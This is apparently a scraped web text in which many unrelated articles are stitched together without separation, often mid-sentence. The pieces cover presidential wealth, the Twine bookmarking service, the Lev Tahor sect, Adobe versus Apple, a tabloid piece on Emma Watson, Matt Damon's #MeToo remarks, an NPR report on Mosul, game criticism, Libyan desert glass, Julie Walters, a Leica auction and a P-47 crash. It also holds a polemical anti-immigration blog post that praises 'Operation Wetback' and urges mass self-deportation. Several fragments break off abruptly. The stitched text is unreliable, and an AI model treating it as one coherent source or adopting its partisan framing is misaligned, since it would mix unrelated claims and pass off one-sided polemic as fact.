"The interesting thing about the (idea) of a middle-class president is that it's actually relatively common in certain periods of American history," said Jeffrey A. Engel, director of the Center for Presidential History at Southern Methodist University in Dallas. "If we define (the middle class) essentially as someone who does not have exorbitant wealth, or does not inherit exorbitant wealth... there's a period from basically about the mid-19th century up until 1920 where the majority of presidents are what we could consider to be of modest means."
You can think of the history of presidential wealth in three waves.
Wave one: Landholdings and slaves made the first presidents incredibly rich. George Washington, for example, is estimated to have been worth $525 million in today's dollars, making him the second wealthiest president in U.S. history, after John F. Kennedy.
(No need to repeat that era.)
Photos: Presidential vacations and getaways Photos: Presidential vacations and getaways President Donald Trump listens to a high school marching band as he arrives at the Trump International Golf Club in West Palm Beach, Florida, in February 2017. He and the first lady were spending a weekend away from the White House. Here's a look at how Trump and other US presidents have escaped the pressures of the Oval Office. Hide Caption 1 of 22 Photos: Presidential vacations and getaways President Barack Obama prepares to putt as he plays golf with Malaysian Prime Minister Najib Razak at the Marine Corps Base in Hawaii in December 2014. Hide Caption 2 of 22 Photos: Presidential vacations and getaways President George W. Bush rides a bicycle at his ranch in Crawford, Texas, in August 2007. Hide Caption 3 of 22 Photos: Presidential vacations and getaways President-elect Bill Clinton plays volleyball on a Pacific Coast beach in November 1992. Hide Caption 4 of 22 Photos: Presidential vacations and getaways President George H.W. Bush pauses to speak to the media while he plays golf in Kennebunkport, Maine, in August 1990. Hide Caption 5 of 22 Photos: Presidential vacations and getaways President Ronald Reagan and first lady Nancy Reagan ride horses at their vacation home in Santa Barbara, California, in November 1982. Hide Caption 6 of 22 Photos: Presidential vacations and getaways President-elect Jimmy Carter vacations at St. Simons, an island off the coast of Georgia, in November 1976. Hide Caption 7 of 22 Photos: Presidential vacations and getaways President Gerald Ford opens a gift from his wife, Betty, during their usual Christmas vacation spot in Vail, Colorado, in December 1974. Hide Caption 8 of 22 Photos: Presidential vacations and getaways President Richard Nixon and his wife, Pat, walk along the beach in San Clemente, California, in 1971. Hide Caption 9 of 22 Photos: Presidential vacations and getaways President Lyndon B. Johnson and his wife, Lady Bird, often vacationed at the LBJ Ranch in Johnson City, Texas. Hide Caption 10 of 22 Photos: Presidential vacations and getaways President John F. Kennedy vacations with his family in this undated photo. From left is daughter Caroline, first lady Jacqueline and son John Jr. Hide Caption 11 of 22 Photos: Presidential vacations and getaways In 1953, President Dwight D. Eisenhower fishes the North Platte River at the Swan Hereford Ranch in Colorado. Eisenhower |
for job seekers, Twine acts as an aggregator of articles, blogs, documents and videos that you can accumulate from friends, associates or as a result of your own research. Twine then ties it neatly all together by topic, so you can have it in one place and can connect with otherwith similar interests.So why did Twine come to be and what void did it fill. Well those of us who are constantly bookmarking material with Digg Delicious and other such sites, it doesn't take long before we startlose track as to what we stored where. Such disarray hit home with Nova Spivack. Before he started his own company, Radar Networks, the futurist entrepreneur and grandson of late management guru Peter F. Drucker, had so many virtual folders and bookmarks, he would routinely misplace many of his saved links.To resolve that issue, he leapfrogged the competition with Twine, his company's first out-of the box offering. This next-gen bookmarking service has already attracted $26 million in venture capital and is growing exponentially at a clip Spivack calls "Digg... on Ritalin." Twine's unique visitors have grown more than 40% each month since its October 2008 debut, topping 80% in February 2009. It's already outpacing the the historical stats of the popular startups of FriendFeed and Wikipedia. Recent numbers from Compete.com indicate Twine’s April numbers have tipped 2 million visitors, up more than 60 percent from the March.At first glance, the site resembles an RSS feed on steroids. Threads, or "twines," are centered around specific ideas ("Web 2.0"), people ("Nova Spivack"), and events ("Web 3.0 Conference"), and users fill their twines with content they have researched and/or accumulated online. The Twine site then tracks the content users add and the topics they follow, and assembles an interest-based personality profile. Based on what it learns, it sends news and recommendations from other fellow users with their updated content. Named appropriately, the analogy wasn't lost on me. Similar to a ball of twine, one begins to see how members can wrap more and more twine...(yes, you guessed it) around more and more twine.As Spivack explains, "the 'intelligent' part of Twine is what it does under the hood, so to speak – automatically classifying and labeling documents, web pages, e-mails, photos, videos, etc. and connecting the relevant pieces to each other like a trail of breadcrumbs." Twine also looks at individual users’ interests, understands their preferences without ever having to ask, and suggests new Twines to join, or other users of the community to partner with.According to Dan Macsai, in a recent article he wrote for Fast Company, "Web 3.0 and Twine are in their infancy," and there is a lot of work ahead "to balance the Internet's human side with artificial intelligence." So it is understandable that Spivack's small team of less than forty people are only able to "skim the surface" of semantic technology at the present time.However as new they are to the scene, it's relatively early in the semantics game (remember that the timeline for Web 3.0 is commonly referenced as the decade from 2010-2020).However, with time, it is my guess that Twine will continue to surpass its competition while squeezing open that Web 3.0 portal, one twine at a time! And if you think I'm stringing you along, by all means don't take my word for it. Join today! And keep tracking their success over time. Or better yet...twine it!The leader of Lev Tahor, an extremist ultra-Orthodox Jewish sect, reportedly drowned Saturday night in a river in Mexico.
According to media outlets in Mexico, Rabbi Shlomo Helbrans, had gone to the river in the state of Chiapas with his followers for a ritual immersion, and was swept away by the current. His family and rescue services removed his body from the river. The body has not yet been officially identified.
>> Who Is Lev Tahor, the 'Jewish Taliban'? >>
Lev Tahor, a sect of some 250 people also known as the "Jewish Taliban" because female members wear a black gown resembling a burqa, was declared a dangerous cult by an Israeli court a few months ago after hearing extensive testimony of child abuse and marriage of young girls to older men within the group.
“The conduct of the sect toward minors is sufficient to call this group a dangerous cult that severely damages the physical and emotional well-being of the children of this community,” Petah Tikva Family Court Judge Rivka Makayes ruled.
Helbrans is an Israeli who became religious and fled Israel for the United States with a group of followers in 1990. The group made headlines internationally in recent years as it moved with Helbrans throughout the Americas, including the United States, Canada, Guatemala and now Mexico. Some members of the group live in Jerusalem and in Beit Shemesh, on the margins of extremist ultra-Orthodox communities.
Relatives of the sect’s members have testified in recent years as to extreme and violent means of control employed by Helbrans and his followers, including abuse and corporal punishment of minors, use of psychiatric drugs, the abduction of children from their families and forced marriage of under-age girls to older men.
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Don't think Adobe hasn't noticed this omission. In a stern blog post, the Flash team praised the inclusion of PDF and ePub support in the iPad, but quickly went on to condemn the company Steve Jobs built:
"It looks like Apple is continuing to impose restrictions on their devices that limit both content publishers and consumers. Unlike many other ebook readers using the ePub file format, consumers will not be able to access ePub content with Apple's DRM technology on devices made by other manufacturers. And without Flash support, iPad users will not be able to access the full range of web content, including over 70% of games and 75% of video on the web."
Adobe is calling out one of the biggest gripes developers have with Apple's App ecosystem: its restrictive, closed environment where Apple must approve all programs that run on its platform.
While we doubt this post will sway the minds of the Apple leadership, it does escalate the battle between the two companies over the future of the web.Published: 19:34 EST, 3 April 2016 | Updated: 19:56 EST, 3 April 2016
Harry Potter fans will know Hermione Granger was given a magical device that allowed her to travel back in time to change events and stop disasters occurring.
If only Emma Watson, the actress who earned £20 million playing Hermione, could do the same, she might not find her past catching up with her — as it did last week.
The UN Women’s ambassador was branded a ‘fake feminist’ and even a racist after it emerged that she fronted an advertising campaign for skin-lightening products made by the cosmetics giant Lancome, for which she was a highly-paid ‘brand ambassador’.
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Copy link to paste in your message +3 Emma Watson was branded a ‘fake feminist’ and even a racist after it emerged that she fronted an advertising campaign for skin-lightening products
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Encouraging dark-skinned women to look whiter is obviously a deeply contentious issue and the 25-year-old English rose might have wilted under the ferocity of the criticism.
Her spokesman said he couldn’t comment on ‘previous contractual arrangements’. His client, he added, ‘no longer participates in advertising beauty products, which do not always reflect the diverse beauty of all women’.
But this is not the only time Miss Watson has been accused of inconsistency — to put it mildly — as we shall see...
Her magic millions
A sensitive subject. Watson likes to present herself as unaffected by her estimated £48 million fortune, insisting she didn’t realise how rich she was until her father — like her mother, a wealthy lawyer — told Watson on her 18th birthday that the Potter films had made her £20 million.
‘I had no idea. I felt sick, very emotional,’ she has said. But could the fiercely ambitious and intelligent teenager, who at 15 became the youngest celebrity to grace the front cover of U.S. Vogue, and who was already signed up with the model agency Storm, really have been so ignorant?
She quickly got over her queasiness and plunged into a string of lucrative fashion and make-up advertising and promotion deals, including for Louis Vuitton and Dolce & Gabbana, that netted her millions more.
Her 2009 contract to be the face of Burberry was reportedly worth £1 million a year alone, and she was also the face of Lancome (Vanity Fair magazine estimated that Watson earned £19 million in 2009 alone).
Fashion insiders say that Watson, who doubled her Harry Potter earnings to £2 million for each film after she and her parents dragged their feet over agreeing to make the final three instalments, is very business-savvy.
But in interviews she likes to come across as a free spirit who has little time for material things.
‘I need to find a way to always feel safe and at home within myself,’ she told Australian Elle, explaining her decision to become a yoga and meditation teacher, ‘because I can never rely on a physical place.’
For the record, she has rather more ‘physical places’ than most of us, with three multi-million-pound homes — a £3 million house in North London, a luxury flat in Manhattan and a chalet in the French ski resort of Meribel, recently estimated to be worth up to £3 million.
Feminist issues
Appointed a United Nations Women Goodwill Ambassador in 2014, Watson declared: ‘Women’s rights are something so inextricably linked with who I am, so deeply personal and rooted in my life, that I can’t imagine an opportunity more exciting.’
Watson won rapturous applause for a speech at the UN in New York a few months later in which she issued a ‘formal invitation’ to men to join the struggle for women’s rights. She urged them to get in touch with their sensitive side, saying: ‘If men don’t have to be aggressive in order to be accepted, women won’t feel compelled to be submissive.’
How different this sentiment was to one she made two years earlier, when she said she doubted she would ever date a British man again because they were too unassertive.
‘English guys are very restrained,’ she complained. American men, on the other hand, came up to her and suggested a date, telling her: ‘Let’s do it.’ She found their boldness attractive.
Style humbug
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Do as I say, not as I wear, is the Watson maxim when it comes to her great passion — fashion.
After modelling extensively for Burberry and Chanel, the diehard clothes horse did a dramatic about-turn.
Launching her own fashion range for the fair trade and environmentally sustainable clothes company People Tree, she attacked the enormous damage that the mainstream fashion industry was doing to the Third World.
However, when her People Tree clothes barely sold, critics pointed out that it might have helped if Watson had actually worn the stuff on the red carpet or at public events. She didn’t.
One possible clue as to why she felt that ethical fashion was for other people?
‘I’m interested in fair trade fashion,’ she said, months before the People Tree deal. ‘But it’s hard as, to be honest, the stuff’s kind of ugly.’
Fame game
‘There’s a whole new definition to celebrity now,’ she told Radio Times. ‘That’s why you see a lot of actors blanching at being associated with that word “celebrity” because it’s something that isn’t really associated with having a craft.’
Perish the thought that Watson is a celebrity rather than an actor. But you wouldn’t be alone if you couldn’t name one film she has been in since the Harry Potter juggernaut came to a halt in 2011.
Quite how much she has suffered from international fame is difficult to tell, as her story changes.
In November 2010, she told a U.S. magazine that she once burst into uncontrollable tears when a fellow student at America’s Brown University (where Watson studied for an English literature degree after Harry Potter) asked her for an autograph.
The following June, dismissing reports that she had left Brown because she felt bullied, she told the Sunday Times: ‘I’ve never been asked for an autograph on campus.’
Watson has long expressed disdain for celebrities who trade on their fame, but was accused of doing much the same in January when her Harry Potter co-star, Alan Rickman, died.
Within hours, she had posted on Twitter a quote from him in which he extolled the virtues of feminism, prompting a wave of accusations that she was exploiting his death to advance her feminist agenda.
Flawless look
Watson has graced hundreds of magazine covers and fronted many beauty and fashion ads. In some, her image was digitally altered.
But on this subject she prefers to have her cake and eat it. She told a newspaper: ‘With airbrushing and digital manipulation, fashion can project an unobtainable image that’s dangerously unhealthy.’
True. But why, then, does Watson — who claims she suffered terribly when younger from insecurity about her looks — go along with it?
‘I’m more interested in women who aren’t perfect,’ she says.
Yet her Lancome adverts render Emma’s skin so poreless as to make her look computer-generated.
EIGHT PAIRS OF SHOES (AND THE REST) Emma Watson said: ‘I’ve got about eight pairs of shoes and that’s it' ‘I’ve got about eight pairs of shoes and that’s it.’ So claimed Emma as she promoted 2013 film The Bling Ring, in which she played a girl who burgled the homes of Paris Hilton and other celebrities. While shopaholic Hilton was a slave to consumerism, Watson suggested, she had the footwear selection of a nun. Yet given her presence on so many red carpets, in so many pairs of stilettos, even her devoted fans were dubious. Recent photos show Watson in at least 24 pairs of designer shoes, worth a total of £14,000 (not that she had to buy the shoes — most were loaned by stylists)..
Muscle men
Just as she was lecturing her 21 million Twitter followers and the rest of the world about how men were ‘imprisoned by gender stereotypes’ of aggression and machismo, Watson was dating a fellow Oxford student who was the epitome of machismo.
Hulking Matthew Janney, whom she met while spending a year at Worcester College on an exchange programme from Brown, was in the Oxford rugby team and had been named ‘Oxford’s most eligible bachelor’.
Watson has a penchant for male ‘gender stereotypes’, though, as earlier this year it was reported that she had found love with William Knight, a strapping American tech entrepreneur whose pastimes include marathon running and long gym workouts.
Last month, possibly in a last-ditch attempt to throw off her prim, self-contained image, Watson revealed that she has subscribed to a sexual pleasure research website. OMGYES.com aims to educate men and women on how to perform better in bed.
Luvvie labours
‘Acting was never about money for me... I can be very picky,’ says Watson. She has admitted that she never has to work again after the Potter films — which may be just as well, given the dire reviews for her latest film, Regression, with Ethan Hawke.
Her next film, Colonia, about a Chilean cult, is likely to bypass cinemas almost entirely and be released on pay-per-view TV.
After vowing that she would never sign up to another big budget film franchise like the Potter epics, Watson has done just that by agreeing to star in film adaptations of a new fantasy novel trilogy that begins with The Queen of the Tearling, described as a female version of Game Of Thrones.
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Copy link to paste in your message +3 Actress Emma Watson's latest film, Regression, with Ethan Hawke has been given dire reviews
Next year, she will play Belle in a Disney live-action adaptation of Beauty And The Beast. It’s hardly the cutting-edge film work she had led us to expect, but it will certainly pay well.
Meanwhile, polymath Watson has been hinting that she is fed up with acting.
In February, she said she was taking a year off for ‘personal development’ such as yoga, meditation and reading a book a week.
‘It almost feels like the chemistry and structure of my brain is changing so rapidly sometimes,’ she proclaimed. ‘It feels as if I’m struggling to keep up with myself.’
It all sounds rather like clever-clogs, over-earnest Hermione.Busting through the wall of the current cultural moment like a Kool-Aid man of male entitlement, Matt Damon has arrived to ruin the Downsizing press tour with some flaming-hot takes on sexual misconduct. “But why would a man who not only worked with an accused serial rapist, but has been accused of helping kill a 2004 investigation into same, assume the world needs to know his thoughts on the subject?,” you may be asking. Good question! The only answer is that Matt Damon has lived for the past 20 years—his whole life, even—with the idea that everything Matt Damon says is extremely correct, so he can insert himself into the middle of any conversation with impunity.
Damon’s been laying down opinions like he’s got a #NotAllMen mixtape coming out since the Weinstein story first broke in October, when he said that he has four daughters, each of whose innocent eyes looked up at him when he held them for the first time and spoke straight into his soul: “Daddy, I know you never thought of this before, but sexual assault is bad.” That’s a pretty common (if pretty ridiculous) sentiment, though, to be fair. Things didn’t get truly spicy until last week, when Damon went on ABC News and held forth on all manner of issues related to the #MeToo moment, including: That “there’s a difference between, you know, patting someone on the butt and rape or child molestation”; that, therefore, “we can work with” Louis CK and Al Franken; and that he would absolutely fight any sexual misconduct charges against him in court to preserve his nice-guy reputation.
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But even Minnie Driver writing an op-ed telling him to just shut the fuck up and listen for once didn’t work. Just yesterday, Damon gave an interview to Business Insider with perhaps his hottest take yet: Why are we focusing on the sexual predators? Why aren’t we talking about the nice guys in Hollywood—guys like, say, Matt Damon? “We’re in this watershed moment, and it’s great, but I think one thing that’s not being talked about is there are a whole shitload of guys—the preponderance of men I’ve worked with — who don’t do this kind of thing and whose lives aren’t going to be affected?,” he said, presumably tapping his temple like the guy in the Roll Safe meme. “If I have to sign a sexual-harassment thing, I don’t care, I’ll sign it,” he added, nobly. “I would have signed it before. I don’t do that, and most of the people I know don’t do that.”
Well, congratulations, buddy: You did it. You’ve successfully turned the spotlight back onto yourself. Our condolences to Matt Damon’s publicity team during this difficult time.Iraqi Forces Continue To Battle Remaining ISIS Fighters In Mosul
U.S. and Iraqi commanders say the fight to push ISIS out of Mosul, Iraq is nearing its last few hundred yards.
MARY LOUISE KELLY, HOST:
The offensive to retake Mosul may be in its final days. But Iraqi forces still do not have full control of the city. Several hundred ISIS fighters remain cornered in a few districts in the Old City. That means house-to-house combat and clearing is underway. We're joined by NPR correspondent Jane Arraf. She's in Erbil, Iraq, which is about 50 miles from Mosul.
Good morning, Jane.
JANE ARRAF, BYLINE: Good morning, Mary Louise.
KELLY: So this has been a long battle for Mosul, eight months and counting. Update us on where the fighting stands.
ARRAF: So it is actually now in the last stages. And there have been a lot of last stages. But this one, they are literally what they say is the last half a square mile surrounding the old mosque where the leader of ISIS declared his Islamic state. Now, it is the last days - expected to be. But it's some of the toughest.
This is an area where ISIS has literally nowhere to go. So they are fighting to the death. On top of that, there are several Iraqi forces that have to coordinate this. And there's not a lot of U.S. air support because it is very close quarters. There are a lot of civilians and a lot of dangers there.
KELLY: OK, I want to ask about people living in the city and actually let you react to something that we've heard from the U.S. military. Major General Joseph Martin, who commands the coalition forces fighting in Mosul, came on the show yesterday. And he told us that people are starting to flow back into Mosul, even as some civilians are still trying to flee. Let me play you what he said.
(SOUNDBITE OF ARCHIVED BROADCAST)
JOSEPH MARTIN: I'm amazed at the progress in terms of re-establishing essential services, markets standing up. We're seeing asphalt being repaired. And the numbers of vehicles - cabs, trucks, buses, commodities and people are flowing into Mosul, not out of Mosul.
KELLY: So that's the view from a U.S. military commander. Jane, does that square with your impression of what's happening?
ARRAF: Gosh, that's not really a picture of Mosul that most Iraqis would recognize. True, there are people going back. And true, that resiliency is an amazing trait in Iraq. But a lot of that is because they don't have any other choice. Let's step back just a bit and remember that Mosul is the third-biggest city in Iraq. There have been almost all of those people displaced. And they've had nowhere to go, to a large extent.
So if they're going back - and many of them are going back to see what happened to their homes - it's because there's no other option. Now, at the same time that they are repairing some of the roads, the bridges are still out to a major extent. The university has been destroyed. The train station has been heavily damaged.
KELLY: That mosque you mentioned is in ruins now, yeah.
ARRAF: That is totally in ruins. And that's incredibly symbolic. So U.N. officials estimate that it will take billions of dollars and perhaps years to repair this. And they also say this is some of the worst damage that they've seen. So not exactly the rosy picture that was painted by the general.
KELLY: OK, meanwhile, what does all of this mean for ISIS? You mentioned they are holed up. They're fighting to the death. Mosul is the big stronghold of ISIS in Iraq. But when Mosul is finally, we assume, back in government control, what does that mean for the state of ISIS in Iraq?
ARRAF: So I think we tend to think of ISIS as this abstract entity of foreign fighters. But part of the reason that ISIS was able to come in and take over entire cities in the same way that al-Qaida was able to come in when American forces were fighting them is there are really deep divisions in Iraq. And those divisions have widened since 2003.
So while ISIS fighters will be largely gone from Mosul - although not entirely - essentially, it leaves a country that is deeply divided in all sorts of ways. And what the government is trying to do is both reconstruction and reconciliation. And those two things are both incredibly difficult.
KELLY: That's NPR's Jane Arraf reporting from Iraq on this final stage, we think, in the battle for Mosul. Jane, thank you.
ARRAF: Thank you.
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I was very excited for Behold Studios' Knights of Pen and Paper to be released on iOS earlier this month. If you've never heard of this innovative mobile game, it combines retro gaming flavor with a tabletop rpg framework: You control the make-up of your party both in terms of players and classes, as well as the complexity of their battles, the direction of the story, and even the decor of your room, while adventuring and questing across the map. It's all charming and novel, but when the game was finally released on iOS (after previously only being available on Android) my excitement to play died down at record speed. I don't think I offend very easily when it comes to games (though I do roll my eyes a lot), but Knights of Pen and Paper had managed to offend me before I'd even made my first character.
When you start Knights of Pen & Paper, you start with your Dungeon Master and two party members that you pick from a list of predetermined characters. Being the type of player I am, I wanted to make a character like myself and others like my friends to play with. Well, too bad.
The three choices for female characters in this game are a grandma, Paris Hilton (yes really), and a manic pixie dreamgirl in the form of Ramona Flowers from the Scott Pilgrim franchise. That's it. Out of about a dozen character options including the developers themselves, a pizza guy, a little brother, an office worker and so on, there are three female options (maybe 3.5 if you want to generously include the alien). There are so many male characters that could easily have had female counterparts and, if you want to say that every character is drawn from a trope, plenty more female tropes to engage. They don't even reach for low-hanging fruit like a Ren Faire girl, so it almost seems lazy.
But maybe it's not so bad. So there are only a handful of female characters, so what? Well, every character has a bonus that gives them an advantage in one area over other characters, something like increased experience gain or higher health. The bonusses for the female characters are 'Loudness', 'Shopping', and 'Luck', respectively. Yikes. There's a time and a place for stereotyping like that in games, and that's only when it adds to the story or the game itself in a meaningful way (Becky Chambers has written about this particular issue better than I ever could over at The Mary Sue). I don't see how having Paris Hilton (a reference that is painfully dated in the mid 2000's at this point) rolling for initiative adds to the complexity of the satire/homage at the heart of this game.
Naturally if you want to change your Dungeon Master you can, but if you want a female DM you're completely out of luck. You can be Yoda or Doc Brown, but you can't be a woman.
Look, I'll concede that tabletop RPGs have historically been dominated by groups of guys bro-ing out over their +2 broadswords and so on, but it's not 1980 anymore. Times have changed. Plenty of women enjoy these games as much as men-- and beyond the tabletop gaming world, RPGs in general are an incredibly popular genre among women (just look at the fandoms surrounding Bioware's Dragon Age franchise if you don't believe me). More importantly, women LOVE mobile games, and make up an estimated 60% of the mobile gaming market. Even if I was willing to admit that there weren't many female character options for Behold Games to include in a game that lampoons D&D as much as it reveres it (which I'm not) I would still say that having a lack of female faces is an incredibly bad choice for a mobile game. Maybe it seems unimportant, but it told me that I was not the player this developer had in mind-- that I quite literally didn't have a place at the table-- and that's not how any developer should want to make any player feel.
Then again, it could always be worse. So far, of of the only characters I've come across who isn't caucasian (or as caucasian as sprites can be), has been based on an incredibly racist trickster character from Brazilian folklore (the developers are Brazilian). It's just one more awkward and avoidable blemish on what could have been a classic mobile game.
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Iris Ophelia (Janine Hawkins IRL) has been featured in the New York Times and has spoken about SL-based design at the Fashion Institute of Technology in Manhattan and with pop culture/fashion maven Johanna Blakley.Libyan desert glass
Libyan Desert glass (LDG), or Great Sand Sea glass is an impactite found in areas in the eastern Sahara, in the deserts of eastern Libya and western Egypt. Fragments of desert glass can be found over areas of tens of square kilometers.
Geologic origin [ edit ]
Distribution of Silica-glass in the Libyan Desert. 1934 map.
The origin of desert glass is uncertain. Meteoritic origins have long been considered possible, and recent research links the glass to impact features, such as zircon-breakdown, vaporized quartz and meteoritic metals, and to an impact crater.[1][2][3][4][5][6][7] Some geologists[8] associate the glass with radiative melting from meteoric large aerial bursts, making it analogous to trinitite created from sand exposed to the thermal radiation of a nuclear explosion. Libyan Desert glass has been dated as having formed about 26 million years ago. It was knapped[citation needed] and used to make tools during the Pleistocene.[9]
See also [ edit ]
References [ edit ]
Literature [ edit ]Media playback is unsupported on your device Media caption Julie Walters says she will not have cosmetic work done, preferring to "look real"
Julie Walters has said she feels like a "freak" in modern-day Hollywood as one of the few middle-aged actresses not to have had any plastic surgery.
The British film star told the BBC's Victoria Derbyshire programme that studios were not "very good" at giving roles to older women.
But Walters said she would not have cosmetic work done, adding: "I look real. It's good."
The Labour supporter also described PM Theresa May as "a good woman".
And she said she sometimes felt that her comedy partner and close friend Victoria Wood, who died earlier this year, was "still with us".
Walters, 66, who has starred in films such as Educating Rita, Billy Elliot, Harry Potter, Mamma Mia! and Calendar Girls, will appear next week in a Channel 4 drama National Treasure, which focuses on the relationship between a woman and her husband, a famous comedian who is accused of child sex offences.
Asked about the attitude of Hollywood studios to older actresses, she said: "I don't think they're very good with roles for women, are they?"
'Unusual'
"There are exceptions. Meryl Streep is an exception, isn't she?" said Walters, who was born in Birmingham and began her working life as a nurse. "And Julianne Moore, people like that. I mean, she's not that old, Julianne, but she's 50-odd.
"And I've just worked with wonderful Annette Bening. Annette Bening doesn't look like she's had anything done to her face and that's unusual in Hollywood. I know if I go out there now I'd look like a freak, because everybody has."
Image caption Victoria Wood and Julie Walters appeared together in many TV comedy shows
Pulling up the skin behind her jaw to mimic having a facelift, Walters said: "I don't want to do that."
A study published in 2014 suggested that male Hollywood stars' average pay increased until the age of 51. For women it peaked at the age of 34. There have also been reports that male stars out-earn their female co-stars at all ages.
"I suppose they do a lot of those big blockbuster things," said Walters, "violent things that must bring in money all round the world, I suppose - whereas the women tend to do more interesting things that don't bring in so much money."
Victoria Wood, who wrote and then starred with Walters in shows such as Victoria Wood: As Seen On TV and Dinnerladies, died in April, aged 62.
Walters said: "It was really strange. I couldn't kind of respond to it at the beginning, even though we all knew it was probably close...
"I found I couldn't respond for some time. I was hugely anxious first of all." Walters said she had eventually allowed herself to grieve in private and it sometimes felt like Wood was still "with us".
'Not sure'
Walters, a longstanding Labour supporter, called party leader Jeremy Corbyn "a great bloke".
"I think he's fantastic," she added, "and his speech when he launched his campaign was fantastic. But I can't see him as a leader. He was sort of absent at Brexit. I wasn't aware of him, really, making any speeches."
Asked about Corbyn's opponent in the current Labour leadership contest, Owen Smith, she said: "I'm just not sure about him."
She expressed concern over Labour's future, saying: "I feel sad, really. I feel there could be a split, which is really scary."
Walters described Conservative Prime Minister Theresa May as "better than what they could have had - better than [Michael] Gove and better certainly than Boris [Johnson]." She added that May was "better than the women too, the other women" the party might otherwise have chosen.
She was critical of the government's plan to increase the number of grammar schools in England, but added: "What I feel about Theresa May, though, is that she's a good woman. I do feel that.
"I think that it comes from a good heart, that she does genuinely think she's going to give working-class kids a chance, but I don't think it will result in that."
The Victoria Derbyshire programme is broadcast on weekdays between 09:00 and 11:00 on BBC Two and the BBC News channel.
Follow us on Twitter @BBCNewsEnts, on Instagram, or if you have a story suggestion email entertainment.news@bbc.co.uk.this game was reviewed with a download code provided by James Blow over twitter
the witness seems to relish in a kind of narcissism, James Blow aside, which presumes it has figured out videogames. it has figured them out as the arbitrary series of gates and keys that they are. that games are not in fact real places, but merely digital representations. it revels in the the divine epiphany that this is all no different from a theatre set, as if that weren’t a plain observation. it is a deep, shallow intellectual cynicism that frankly only someone so self-absorbed as James Blow, in an industry as self-absorbed as videogames, in a country as self-absorbed as the United States could have produced.
in reducing a world down to a bare network of abstract interactions, by laying the internal functions of the code bare, it seems to offer some kind of statement about the arbitrariness of videogames. or perhaps merely walking games, or 3d rpgs, or myst. the common thread between these genre classifications, myst, and the witness is this idea that videogames are merely a series of clockwork mechanisms with no further meaning, or perhaps even so audaciously saying that any attempts at imbuing meaning into systems is trite. this incredibly masculine intelligentsia perspective unfortunately infects much of the discourse on videogames, and in this respect there is little unique to the witness’s impotent polemic. it is a dot in the sea of men screaming “listen to me, i’m important” in a world that threatens to leave them behind. they band together in comfort and reaffirm each other, and create games like the witness to affect some sense of triumph over their dwindling relevance in the artistic vanguard.
at the heart of this idea that game mechanics, in the sense of an abstract mathematical concept, are all that matters in games is a deeply humanless worldview. it is the bastion of the coldly rational, distant people who think they can understand the world through formulae and quantatative exchange. it is the worldview of |
clue,” Kelly told San Diego Police Chief Shelley Zimmerman when she asked for a definition. [Homeland Security Head Is Pressed To Define ‘Sanctuary City’, by By Elliot Spagat, WaPo/AP February 11, 2017]
U.S. Homeland Security Secretary John Kelly said the operations, conducted in at least a dozen states, were routine and consistent with regular operations carried out by U.S. Immigration and Customs Enforcement, or ICE. [Over 680 Arrested In U.S. Immigration Raids; Rights Groups Alarmed, By Julia Edwards Ainsley and Kristina Cooke, Reuters, February 13, 2017]
WASHINGTON – Last week, U.S. Immigration and Customs Enforcement (ICE) launched a series of targeted enforcement operations across the country. These operations targeted public safety threats, such as convicted criminal aliens and gang members, as well as individuals who have violated our nation’s immigration laws, including those who illegally re-entered the country after being removed and immigration fugitives ordered removed by federal immigration judges. ICE officers in the Los Angeles, Chicago, Atlanta, San Antonio and New York City areas of responsibility arrested more than 680 individuals who pose a threat to public safety, border security or the integrity of our nation’s immigration system. Of those arrested, approximately 75 percent were criminal aliens, convicted of crimes including, but not limited to, homicide, aggravated sexual abuse, sexual assault of a minor, lewd and lascivious acts with a child, indecent liberties with a minor, drug trafficking, battery, assault, DUI and weapons charges. ICE conducts these kind of targeted enforcement operations regularly and has for many years. The focus of these enforcement operations is consistent with the routine, targeted arrests carried out by ICE’s Fugitive Operations teams on a daily basis. [Statement From Secretary Kelly On Recent ICE Enforcement Actions, Press Release, DHS, February 13, 2017]
“The rash of these recent reports about ICE checkpoints and random sweeps and the like, it’s all false, and that’s definitely dangerous and irresponsible,” Marin said. “Reports like that create panic, and they put communities and law enforcement personnel in unnecessary danger.” [ICE Says L.A. Immigration Arrests Were Planned Long In Advance, Not Tied To New Crackdown, by James Queally, LAT, February 10, 2017]
Worse yet, Secretary Kelly appears to be apologizing for and minimizing the recent raids by U.S. Immigration and Customs Enforcement (ICE), Enforcement and Removal Operations (ERO):Kelly appears ashamed of the work that his Deportation Officers and Immigration Enforcement Agents are doing. Instead of highlighting the arrests as the begining of the deportation of millions, Kelly downplayed the arrests as normal, echoing other statements by spokesmen that all the arrests were routine and foolishly denying that ICE was conducting raids and roadblocks, instead insisting on the mealy mouthed term "targeted enforcement operations."David Marin, Field Office Director, ICE ERO, Los Angeles District Office, even went so far as to vigorously deny raids and roadblocks, trying to assure illegal aliens that there will be few arrests, despite the Presidential target of removing 3 million illegal aliens in the first two years of his presidency. There is no way that ICE will deport 3 million illegal alien criminals if the Los Angeles District can only arrest 160 illegal aliens, in a region where there are 1 million or so illegal aliens in Los Angeles and Orange Counties alone.
Even if these "targeted enforcement operations" were already planned, saying so to avert "panic" among illegal aliens is foolish, as it does not encourage those illegal aliens not arrested to flee back to Mexico as Operation Wetback and Jumpin' Joe Swing did. It is correct to point out that the majority of illegal aliens cannot be arrested given enforcement resources, so they must be encouraged to self-deport, which was a major part of the Operation Wetback strategy.
Kris Kobach, Immigration Patriot
It appears that Kelly has been captured by the Obama policy of not encouraging illegal aliens to leave the United States. Oh, how immigration patriots should mourn the failure of Kris Kobach to be nominated as DHS Secretary.Here’s one way to identify a pricey lens: it comes with a dedicated luxury humidor for humidity control. Back in 2008, as Leica was ending a manufacturing run of its Noctilux 50mm f/1 lens, the company decided to release the last 100 units as a special edition. Each of the lenses was shipped with a special humidity control box crafted in Paris, France, by Elie Bleu, which makes high-end humidors for cigar aficionados.
Elie Bleu humidors often sell for between $2,000 to $5,000 by themselves, so the box greatly increased the value of this bundle.
The unit was originally priced at €10,000 when it was first released. An auction for one of the 100 units just finished over on eBay, and the winning bid (out of 81 bids) was $12,768.
The seller on eBay writes that they were the original owner of the mint condition lens, which they originally paid “just under 20K USD for.”
From the photos posted by the seller, we see that the box comes with a special pair of Leica gloves for handling the lens as well.
If you’re interested in one of these 100 rare kits, keep your eyes peeled on eBay — perhaps one of the other 99 will show up one day as well.
(via eBay via La Vida Leica)Media playback is unsupported on your device Media caption Aerial footage shows search vessels combing the Hudson River
A vintage World War Two aircraft has crashed in the Hudson River between New York and New Jersey.
The plane - a single-seater P-47 Thunderbolt - went down two miles (3.2km) south of George Washington Bridge.
Divers later recovered a body - believed to be that of the pilot - from the submerged plane.
